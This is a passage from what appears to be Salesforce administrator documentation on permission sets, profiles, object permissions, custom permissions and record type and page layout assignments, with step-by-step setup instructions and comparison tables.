   Tip: To show only permission sets with no user license, enter User License for the Setting, set the Operator to equals, and enter “” in the Value field.
   d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows.
4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add up to 15 columns.
   a. From the Search drop-down list, select a setting type.
   b. Enter the first few letters of the setting you want to add and click Find.
   Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results.
5. Click Save, or if you’re cloning an existing view, rename it and click Save As.
Edit Permission Sets from a List View

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.

Note: Use care when editing permission sets with this method. Making mass changes can have a widespread effect on users in your organization.

1. Select or create a list view that includes the permission sets and permissions you want to edit.

2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on multiple pages, the selections on each page are remembered.

3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the selected permission sets.

4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission can also change other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a permission set and you disable “Transfer Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.

5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected).

6. Click Save.

If you edit multiple permission sets, only the permission sets that support the permission you are editing change. For example, let’s say you use inline editing to enable “Modify All Data” in ten permission sets, but one permission set doesn’t have “Modify All Data.” In this case, “Modify All Data” is enabled in all the permission sets, except the one without “Modify All Data.”

Any changes you make are recorded in the setup audit trail.

App and System Settings in Permission Sets

In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users need to administer and use system and app resources.

App Settings

Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let’s say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members.

The Apps section of the permission sets overview page contains settings that are directly associated with the business processes the apps enable. For example, customer service agents might need to manage cases, so the “Manage Cases” permission is in the Call Center section of the App Permissions page. Some app settings aren’t related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.
System Settings

Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration” allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Permission Set Assigned Users Page

From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user assignments.

To view all users who are assigned to a permission set, from any permission set page, click Manage Assignments. From the Assigned Users page, you can:

• Assign users to the permission set
• Remove user assignments from the permission set
• Edit a user
• View a user’s detail page by clicking the name, alias, or username
• View a profile by clicking the profile name

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Essentials, Contact Manager, Professional, Group, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

USER PERMISSIONS

To view users that are assigned to a permission set:
• View Setup and Configuration
Search Permission Sets

To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.

On any of the permission sets detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings... box. The search terms aren’t case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

For some categories, you can search for the specific permission or setting name. For other categories, search for the category name.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>App name</td>
<td>Type sales in the Find Settings box, then select Sales from the list.</td>
</tr>
<tr>
<td>Objects</td>
<td>Object name</td>
<td>Let’s say you have an Albums custom object. Type albu, then select Albums.</td>
</tr>
<tr>
<td>Fields</td>
<td>Parent object name</td>
<td>Let’s say your Albums object contains a Description field. To find the Description field for albums, type albu, select Albums, and scroll down to Description under Field Permissions.</td>
</tr>
<tr>
<td>Record types</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tabs</td>
<td>Tab or parent object name</td>
<td>Type rep, then select Reports.</td>
</tr>
<tr>
<td>App and system permissions</td>
<td>Permission name</td>
<td>Type api, then select API Enabled.</td>
</tr>
<tr>
<td>All other categories</td>
<td>Category name</td>
<td>To find Apex class access settings, type apex, then select Apex Class Access. To find custom permissions, type cust, then select Custom Permissions. And so on.</td>
</tr>
</tbody>
</table>

If you don’t get any results, don’t worry. Here’s some tips that can help:

- Check if the search term has at least three consecutive characters that match the object, setting, or permission name.
- The permission, object, or setting you’re searching for might not be available in the current Salesforce org.
- The item you’re searching for might not be available for the user license that’s associated with the current permission set. For example, a permission set with the Standard Platform User license doesn’t include the “Modify All Data” permission.
- The permission set license associated with the permission set doesn’t include the object, setting, or permission name you’re searching for.
View and Edit Assigned Apps in Permission Sets

Assigned app settings specify the apps that users can select in the Lightning Platform app menu. Unlike profiles, you can’t assign a default app in permission sets. You can only specify whether apps are visible.

To assign apps:

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Assigned Apps.
4. Click Edit.
5. To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select them from the Enabled Apps list and click Remove.
6. Click Save.

Assign Custom Record Types in Permission Sets

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Object Settings, then click the object you want.
4. Click Edit.
5. Select the record types you want to assign to this permission set.
6. Click Save.

IN THIS SECTION:

How is record type access specified?

You can assign record types to users in their profile or permission sets, or a combination of both. Record type assignment behaves differently in profiles and permission sets.
How is record type access specified?

You can assign record types to users in their profile or permission sets, or a combination of both. Record type assignment behaves differently in profiles and permission sets.

- A user’s default record type is specified in the user’s personal settings. You can’t specify a default record type in permission sets.
- You can assign the --Master-- record type in profiles. In permission sets, you can assign only custom record types. The behavior for record creation depends on which record types are assigned in profiles and permission sets.

<table>
<thead>
<tr>
<th>If users have this record type on their profile...</th>
<th>And this total number of custom record types in their permission sets...</th>
<th>When they create a record...</th>
</tr>
</thead>
<tbody>
<tr>
<td>--Master--</td>
<td>None</td>
<td>The new record is associated with the Master record type.</td>
</tr>
<tr>
<td>--Master--</td>
<td>One</td>
<td>The new record is associated with the custom record type. Users can’t select the Master record type.</td>
</tr>
<tr>
<td>--Master--</td>
<td>Multiple</td>
<td>Users are prompted to select a record type.</td>
</tr>
<tr>
<td>Custom</td>
<td>One or more</td>
<td>Users are prompted to select a record type. In their personal settings, users can set an option to use their default record type and not be prompted to choose a record type.</td>
</tr>
</tbody>
</table>

- Page layout assignments are specified in profiles only—they’re not available in permission sets. When a permission set specifies a custom record type, users with that permission set get the page layout assignment that’s specified for that record type in their profile. (In profiles, page layout assignments are specified for every record type, even when record types aren’t assigned.)

- For lead conversion, the default record type specified in a user’s profile is used for the converted records.

- Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user’s profile. A record type assignment on a user’s profile or permission set doesn’t determine whether a user can view a record with that record type. The record type assignment simply specifies that the user can use that record type when creating or editing a record.

- Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in permission sets in a sandbox organization must be manually reproduced in a production organization.
Enable Custom Permissions in Permission Sets

Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in permission sets.

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Custom Permissions.
4. Click Edit.
5. To enable custom permissions, select them from the Available Custom Permissions list and then click Add. To remove custom permissions from the permission set, select them from the Enabled Custom Permissions list and then click Remove.
6. Click Save.

Manage Permission Set Assignments

You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any permission set page.

- Assign Permission Sets to a Single User
- Assign a Permission Set to Multiple Users
- Remove User Assignments from a Permission Set

IN THIS SECTION:

Assign Permission Sets to a Single User
Assign permission sets or remove permission set assignments for a single user from the user detail page.

Assign a Permission Set to Multiple Users
Assign a permission set to one or more users from any permission set page.

Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.
Assign Permission Sets to a Single User

Assign permission sets or remove permission set assignments for a single user from the user detail page.

The Permission Set Assignments page shows:

- Permission sets with no associated license. For example, you can assign a permission set if None was selected for the license type in the permission set. Make sure that the user’s license allows all the permission set’s enabled settings and permissions. If the user’s license doesn’t allow selected permissions, the assignment fails.

- Permission sets that match the user’s license. For example, if a user’s license is Chatter Only, you can assign permission sets with the Chatter Only license.

- Permission sets specific to permission set licenses. Let’s say you create a permission set named Identity and associate that permission set to the “Identity Connect” permission set license. When you assign users to Identity, they receive all functionality available with the Identity Connect permission set license.

Note: Some permissions require users to have a permission set license before you can grant the permissions. For example, if you add the “Use Identity Connect” user permission to the Identity permission set, you can assign only users with the Identity Connect permission set license to the permission set.

1. From Setup, enter Users in the Quick Find box, then select Users.
2. Select a user.
3. In the Permission Set Assignments related list, click Edit Assignments.
4. To assign a permission set, select it under Available Permission Sets and click Add. To remove a permission set assignment, select it under Enabled Permission Sets and click Remove.
5. Click Save.

Tip: You can perform this and other administration tasks from the Salesforce mobile app.
Assign a Permission Set to Multiple Users

Assign a permission set to one or more users from any permission set page.

1. Select the permission set that you want to assign to users.
2. Click Manage Assignments and then Add Assignments.
3. Select the checkboxes next to the names of the users you want assigned to the permission set, and click Assign.

Messages confirm success or indicate if a user doesn’t have the appropriate licenses for assignment.

Remove User Assignments from a Permission Set

From any permission set page, you can remove the permission set assignment from one or more users.

1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
2. Select a permission set.
3. In the permission set toolbar, click Manage Assignments.
4. Select the users to remove from this permission set.
   You can remove up to 1000 users at a time.
5. Click Remove Assignments.
   This button is only available when one or more users are selected.
6. To return to a list of all users assigned to the permission set, click Done.
Object Permissions

Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage object permissions in permission sets and profiles.

Object permissions either respect or override sharing rules and settings. The following permissions specify the access that users have to objects.

<table>
<thead>
<tr>
<th>Permission</th>
<th>Description</th>
<th>Respects or Overrides Sharing?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read</td>
<td>Users can only view records of this type.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Create</td>
<td>Users can read and create records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Edit</td>
<td>Users can read and update records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>Delete</td>
<td>Users can read, edit, and delete records.</td>
<td>Respects sharing</td>
</tr>
<tr>
<td>View All</td>
<td>Users can view all records associated with this object, regardless of sharing settings.</td>
<td>Overrides sharing</td>
</tr>
<tr>
<td>Modify All</td>
<td>Users can read, edit, delete, transfer, and approve all records associated with this object, regardless of sharing settings.</td>
<td>Overrides sharing</td>
</tr>
</tbody>
</table>

**Note:** “Modify All” on documents allows access to all shared and public folders, but not the ability to edit folder properties or create new folders. To edit folder properties and create new folders, users must have the “Manage Public Documents” permission.

---

IN THIS SECTION:

“View All” and “Modify All” Permissions Overview

The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions.

Comparing Security Models

“View All” and “Modify All” Permissions Overview

The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to grant access to records associated with a given object across the organization. “View All” and “Modify All” can be better alternatives to the “View All Data” and “Modify All Data” permissions.

Be aware of the following distinctions between the permission types.
### Permissions

<table>
<thead>
<tr>
<th>Permissions</th>
<th>Used for</th>
<th>Users who need them</th>
</tr>
</thead>
<tbody>
<tr>
<td>View All</td>
<td>Delegation of object permissions.</td>
<td>Delegated administrators who manage records for specific objects</td>
</tr>
<tr>
<td>Modify All</td>
<td></td>
<td></td>
</tr>
<tr>
<td>View All Data</td>
<td>Managing all data in an organization; for example, data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals. Users with View All Data (or Modify All Data) permission can view (or modify) all apps and data, even if the apps and data are not shared with them.</td>
<td>Administrators of an entire organization</td>
</tr>
<tr>
<td>Modify All Data</td>
<td></td>
<td></td>
</tr>
<tr>
<td>View All Users</td>
<td>Viewing all users in the organization. Grants Read access to all users, so that you can see their user record details, see them in searches, list views, and so on.</td>
<td>Users who need to see all users in the organization. Useful if the organization-wide default for the user object is Private. Administrators with the Manage Users permission are automatically granted the View All Users permission.</td>
</tr>
</tbody>
</table>

View All and Modify All are not available for ideas, price books, article types, and products.

View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom object administration duties, define delegated administrators.

View All Users is available if your organization has User Sharing, which controls user visibility in the organization. To learn about User Sharing, see User Sharing.

### Comparing Security Models

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records.

The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings for specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing settings for all objects.

The following table describes the differences between the security models.

<table>
<thead>
<tr>
<th>Permissions that Respect Sharing</th>
<th>Permissions that Override Sharing</th>
</tr>
</thead>
<tbody>
<tr>
<td>Target audience</td>
<td>End-users</td>
</tr>
<tr>
<td></td>
<td>Delegated data administrators</td>
</tr>
</tbody>
</table>

### EDITIONS

Available in: Salesforce Classic (not available in all orgs)

Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions
### Permissions that Respect Sharing

<table>
<thead>
<tr>
<th>Where managed</th>
<th>“Read,” “Create,” “Edit,” and “Delete” object permissions; Sharing settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Record access levels</td>
<td>Private, Read-Only, Read/Write, Read/Write/Transfer/Full Access</td>
</tr>
<tr>
<td>Ability to transfer</td>
<td>Respects sharing settings, which vary by object</td>
</tr>
<tr>
<td>Ability to approve records, or edit and unlock records in an approval process</td>
<td>None</td>
</tr>
<tr>
<td>Ability to report on all records</td>
<td>Available with a sharing rule that states: the records owned by the public group “Entire Organization” are shared with a specified group, with Read-Only access</td>
</tr>
<tr>
<td>Object support</td>
<td>Available on all objects except products, documents, solutions, ideas, notes, and attachments</td>
</tr>
</tbody>
</table>

| Group access levels determined by | Roles, Roles and Subordinates, Roles and Internal Subordinates, Roles, Internal and Portal Subordinates, Queues, Teams, and Public Groups |

<table>
<thead>
<tr>
<th>Private record access</th>
<th>Not available</th>
<th>Available on private contacts, opportunities, and notes and attachments with “View All” and “Modify All”</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ability to manually share records</td>
<td>Available to the record owner and any user above the record owner in the role hierarchy</td>
<td>Available on all objects with “Modify All”</td>
</tr>
<tr>
<td>Ability to manage all case comments</td>
<td>Not available</td>
<td>Available with “Modify All” on cases</td>
</tr>
</tbody>
</table>

**Note:** View All and Modify All are not available for ideas, price books, article types, and products.
Custom Permissions

Use custom permissions to give users access to custom processes or apps.

In Salesforce, many features require access checks that specify which users can access certain functions. Permission set and profiles settings include built-in access settings for many entities, like objects, fields, tabs, and Visualforce pages. However, permission sets and profiles don’t include access for some custom processes and apps. For example, in a time-off manager app, users might need to submit time-off requests, but only a small set of users approves time-off requests. You can use custom permissions for these types of controls.

Custom permissions let you define access checks that can be assigned to users via permission sets or profiles, similar to how you assign user permissions and other access settings. For example, you can define access checks in Apex that make a button on a Visualforce page available only if a user has the appropriate custom permission.

You can query custom permissions in these ways.

bullet To determine which users have access to a specific custom permission, use Apex and do something like the following.

```java
Boolean hasCustomPermission = FeatureManagement.checkPermission('your_custom_permission_api_name');
```

bullet To determine what custom permissions users have when they authenticate in a connected app, reference the user’s Identity URL, which Salesforce provides along with the access token for the connected app.

IN THIS SECTION:

Create Custom Permissions
Create custom permissions to give users access to custom processes or apps.

Edit Custom Permissions
Edit custom permissions that give users access to custom processes or apps.
Create Custom Permissions

Create custom permissions to give users access to custom processes or apps.

1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom Permissions.
2. Click New.
3. Enter the permission information:
   - Label—the permission label that appears in permission sets
   - Name—the unique name that’s used by the API and managed packages
   - Description—optionally, a description that explains what functions the permission grants access to, such as “Approve time-off requests.”
   - Connected App—optionally, the connected app that’s associated with this permission
4. Click Save.
Edit Custom Permissions

Edit custom permissions that give users access to custom processes or apps.

1. From Setup, enter Custom Permissions in the Quick Find box, then select Custom Permissions.
2. Click Edit next to the permission that you need to change.
3. Edit the permission information as needed.
   - Label—the permission label that appears in permission sets
   - Name—the unique name that's used by the API and managed packages
   - Description—optionally, a description that explains what functions the permission grants access to, such as “Approve time-off requests.”
   - Connected App—optionally, the connected app that’s associated with this permission
4. Click Save.

Profiles

Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one.

Watch how you can grant users access to objects using profiles.

Who Sees What: Object Access (English only)

Your org includes several standard profiles where you can edit a limited number of settings. With editions that contain custom profiles, you can edit all permissions and settings except the user license. In Contact Manager, Essentials Edition, and Group Edition orgs, you can assign standard profiles to your users, but you can’t view or edit the standard profiles, and you can’t create custom profiles.

Every profile belongs to exactly one user license type.

IN THIS SECTION:

Work in the Enhanced Profile User Interface Page

In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.
Work in the Original Profile Interface

To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then select the profile you want.

Manage Profile Lists

Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then select Profiles.

Edit Multiple Profiles with Profile List Views

If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages.

Clone Profiles

Instead of creating profiles, save time by cloning existing profiles and customizing them.

Viewing a Profile’s Assigned Users

To view all users that are assigned to a profile from the profile overview page, click Assigned Users (in the enhanced profile user interface) or View Users (in the original profile user interface). From the assigned users page, you can:

View and Edit Tab Settings in Permission Sets and Profiles

Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.

Enable Custom Permissions in Profiles

Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in profiles.
Work in the Enhanced Profile User Interface Page

In the enhanced profile user interface, the profile overview page provides an entry point for all settings and permissions for a profile.

To open the profile overview page, from Setup, enter Profiles in the Quick Find box, then select Profiles and click the profile you want to view.

IN THIS SECTION:

Assign Record Types and Page Layouts in the Enhanced Profile User Interface
App and System Settings in the Enhanced Profile User Interface
Search in the Enhanced Profile User Interface

To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive letters in the Find Settings box. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, Developer, and Database.com Editions

Custom Profiles available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

USER PERMISSIONS

To view profiles:
• View Setup and Configuration

To delete profiles and edit profile properties:
• Manage Profiles and Permission Sets
Assign Record Types and Page Layouts in the Enhanced Profile User Interface

In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and page layout assignment mappings that are used when users view records. They also determine which record types are available when users create or edit records.

To specify record types and page layout assignments:

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Find Settings... box, enter the name of the object you want and select it from the list.
4. Click Edit.
5. In the Record Types and Page Layout Assignments section, make changes to the settings as needed.

<table>
<thead>
<tr>
<th>Setting</th>
<th>Description</th>
</tr>
</thead>
</table>
| Record Types           | Lists all existing record types for the object.  
  --Master-- is a system-generated record type that's used when a record has no custom record type associated with it.  
  When --Master-- is assigned, users can't set a record type to a record, such as during record creation. All other record types are custom record types. |
| Page Layout Assignment | The page layout to use for each record type. The page layout determines the buttons, fields, related lists, and other elements that users with this profile see when creating records with the associated record type. Since all users can access all record types, every record type must have a page layout assignment, even if the record type isn't specified as an assigned record type in the profile. |
| Assigned Record Types  | Record types that are checked in this column are available when users with this profile create records for the object. If --Master-- is selected, you can't select any custom record types; and if any custom record types are selected, you can't select --Master--. |
| Default Record Type    | The default record type to use when users with this profile create records for the object. |

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.

<table>
<thead>
<tr>
<th>Object or Tab</th>
<th>Variation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accounts</td>
<td>If your organization uses person accounts, the accounts object additionally includes Business Account Default Record Type and Person Account Default Record Type settings, which specify the default record type to use when the profile's users create business or person account records from converted leads.</td>
</tr>
</tbody>
</table>
### Object or Tab | Variation
--- | ---
Cases | The cases object additionally includes **Case Close** settings, which show the page layout assignments to use for each record type on closed cases. That is, the same record type may have different page layouts for open and closed cases. With this additional setting, when users close a case, the case may have a different page layout that exposes how it was closed.
Home | You can't specify custom record types for the home tab. You can only select a page layout assignment for the **--Master--** record type.

6. Click **Save**.

**IN THIS SECTION:**

**Assign Record Types to Profiles in the Original Profile User Interface**

After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type to a profile, users with that profile can assign the record type to records that they create or edit.

**Assign Page Layouts in the Original Profile User Interface**

If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one location.

---

**Assign Record Types to Profiles in the Original Profile User Interface**

After you create record types and include picklist values in them, add record types to user profiles. If you assign a default record type to a profile, users with that profile can assign the record type to records that they create or edit.

**Note:** Users can view records of any record type, even if the record type is not associated with their profile.

You can associate several record types with a profile. For example, a user needs to create hardware and software sales opportunities. In this case, you can create and add both "Hardware" and "Software" record types to the user's profile.

1. From Setup, enter **Profiles** in the Quick Find box, then select **Profiles**.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click **Edit** next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list.

**Master** is a system-generated record type that's used when a record has no custom record type associated with it. When you assign **Master**, users can't set a record type to a record, such as during record creation. All other record types are custom record types.

5. From **Default**, choose a default record type.

If your organization uses person accounts, this setting also controls which account fields display in the Quick Create area of the accounts home page.
6. If your organization uses person accounts, set default record type options for both person accounts and business accounts. From the Business Account Default Record Type and then the Person Account Default Record Type drop-down list, choose a default record type. These settings are used when defaults are needed for both kinds of accounts, such as when converting leads.

7. Click Save.

Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the picklist values and default value for the master are available in all accounts.

Note: If your organization uses person accounts, you can view the record type defaults for business accounts and person accounts. Go to Account Record Type Settings in the profile detail page. Clicking Edit in the Account Record Type Settings is another way to begin setting record type defaults for accounts.

Assign Page Layouts in the Original Profile User Interface

If you’re already working in an original profile user interface, you can access, view, and edit all page layout assignments easily in one location.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Click View Assignment next to any tab name in the Page Layouts section.
4. Click Edit Assignment.
5. Use the table to specify the page layout for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type.
   - Selected page layout assignments are highlighted.
   - Page layout assignments you change are italicized until you save your changes.
6. If necessary, select another page layout from the Page Layout To Use drop-down list and repeat the previous step for the new page layout.
7. Click Save.
App and System Settings in the Enhanced Profile User Interface

In the enhanced profile user interface, administrators can easily navigate, search, and modify settings for a single profile. Permissions and settings are organized into pages under app and system categories, which reflect the rights users need to administer and use app and system resources.

App Settings

Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let’s say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members.

In the enhanced profile user interface, the Apps section of the overview page contains settings that are directly associated with the business processes that the apps enable. For example, customer service agents may need to manage cases, so the "Manage Cases" permission is in the Call Center section of the App Permissions page. Some app settings aren’t related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests.

Note: Regardless of the currently selected app, all of a user’s permissions are respected. For example, although the "Import Leads" permission is under the Sales category, a user can import leads even while in the Service app.

System Settings

Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges control a user’s ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example, the "Run Reports" and "Manage Dashboards" permissions allow managers to create and manage reports in all apps. In some cases, such as with "Modify All Data," a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader.

Search in the Enhanced Profile User Interface

To locate an object, tab, permission, or setting name on a profile page, type at least three consecutive letters in the Find Settings box. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page.

Search terms aren’t case-sensitive. For some categories, you can search for the specific permission or setting name. For other categories, search for the category name.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>App name</td>
<td>Type sales in the Find Settings box, then select Sales from the list.</td>
</tr>
<tr>
<td>Objects</td>
<td>Object name</td>
<td>Let’s say you have an Albums custom object. Type albu, then select Albums.</td>
</tr>
</tbody>
</table>
Example
Let’s say your Albums object contains a Description field. To find the Description field for albums, type `albu`, select Albums, and scroll down to `Description` under Field Permissions.

<table>
<thead>
<tr>
<th>Item</th>
<th>Search for</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fields</td>
<td>Parent object name</td>
<td>Let’s say your Albums object contains a Description field. To find the Description field for albums, type <code>albu</code>, select Albums, and scroll down to <code>Description</code> under Field Permissions.</td>
</tr>
<tr>
<td>Record types</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Page layout assignments</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tabs</td>
<td>Tab or parent object name</td>
<td>Type <code>rep</code>, then select Reports.</td>
</tr>
<tr>
<td>App and system permissions</td>
<td>Permission name</td>
<td>Type <code>api</code>, then select API Enabled.</td>
</tr>
<tr>
<td>All other categories</td>
<td>Category name</td>
<td>To find Apex class access settings, type <code>apex</code>, then select Apex Class Access. To find custom permissions, type <code>cust</code>, then select Custom Permissions. And so on.</td>
</tr>
</tbody>
</table>

If no results appear in a search:

- Check if the permission, object, tab, or setting you’re searching for is available in the current organization.
- Verify that the item you’re searching for is available for the user license that’s associated with the current profile. For example, a profile with the High Volume Customer Portal license doesn’t include the “Modify All Data” permission.
- Ensure that your search term contains at least three consecutive characters that match the name of the item you want to find.
- Make sure that you spelled the search term correctly.

**Work in the Original Profile Interface**

To view a profile on the original profile page, from Setup, enter Profiles in the Quick Find box, then select Profiles, then select the profile you want.

On the profile detail page, you can:

- Edit the profile
- Create a profile based on this profile
- For custom profiles only, click Delete to delete the profile
  
  **Note:** You can’t delete a profile that’s assigned to a user, even if the user is inactive.
- View the users who are assigned to this profile

**IN THIS SECTION:**

Edit Profiles in the Original Profile Interface

Profiles define how users access objects and data and what they can do within the application. In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all available permissions and settings, except the user license.
Edit Profiles in the Original Profile Interface

Profiles define how users access objects and data and what they can do within the application. In standard profiles, you can edit a limited number of settings. In custom profiles, you can edit all available permissions and settings, except the user license.

**Note:** Editing some permissions can result in enabling or disabling other ones. For example, enabling “View All Data” enables “Read” for all objects. Likewise, enabling “Transfer Leads” enables “Read” and “Create” on leads.

**Tip:** If enhanced profile list views are enabled for your organization, you can change permissions for multiple profiles from the list view.

1. From Setup, enter *Profiles* in the Quick Find box, then select *Profiles*.
2. Select the profile you want to change.
3. On the profile detail page, click *Edit*.

---

**EDITIONS**

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: **Professional**, **Enterprise**, **Performance**, **Unlimited**, **Developer**, and **Database.com** Editions

Custom Profiles available in: **Professional**, **Enterprise**, **Performance**, **Unlimited**, and **Developer** Editions

**USER PERMISSIONS**

To edit app and system permissions in profiles:
- Manage Profiles and Permission Sets

To edit app and system as well as object and field permissions in profiles:
- Manage Profiles and Permission Sets
  - AND
  - Customize Application
Manage Profile Lists

Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one. To view the profiles in your organization, from Setup, enter Profiles in the Quick Find box, then select Profiles.

Viewing Enhanced Profile Lists

If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage, and print profile lists.

- Show a filtered list of profiles by selecting a view from the drop-down list.
- Delete a view by selecting it from the drop-down list and clicking Delete.
- Create a list view or edit an existing view.
- Create a profile.
- Print the list view by clicking .
- Refresh the list view after creating or editing a view by clicking 
- Edit permissions directly in the list view.
- View or edit a profile by clicking its name.
- Delete a custom profile by clicking Del next to its name.

Note: You can’t delete a profile that’s assigned to a user, even if the user is inactive.

Viewing the Basic Profile List

- Create a profile.
- View or edit a profile by clicking its name.
- Delete a custom profile by clicking Del next to its name.
Edit Multiple Profiles with Profile List Views

If enhanced profile list views are enabled for your organization, you can change permissions in up to 200 profiles directly from the list view, without accessing individual profile pages.

Editable cells display a pencil icon (-pencil) when you hover over the cell, while non-editable cells display a lock icon ( -lock). In some cases, such as in standard profiles, the pencil icon appears but the setting is not actually editable.

⚠️ **Warning:** Use care when editing profiles with this method. Because profiles affect a user’s fundamental access, making mass changes may have a widespread effect on users in your organization.

1. Select or create a list view that includes the profiles and permissions you want to edit.

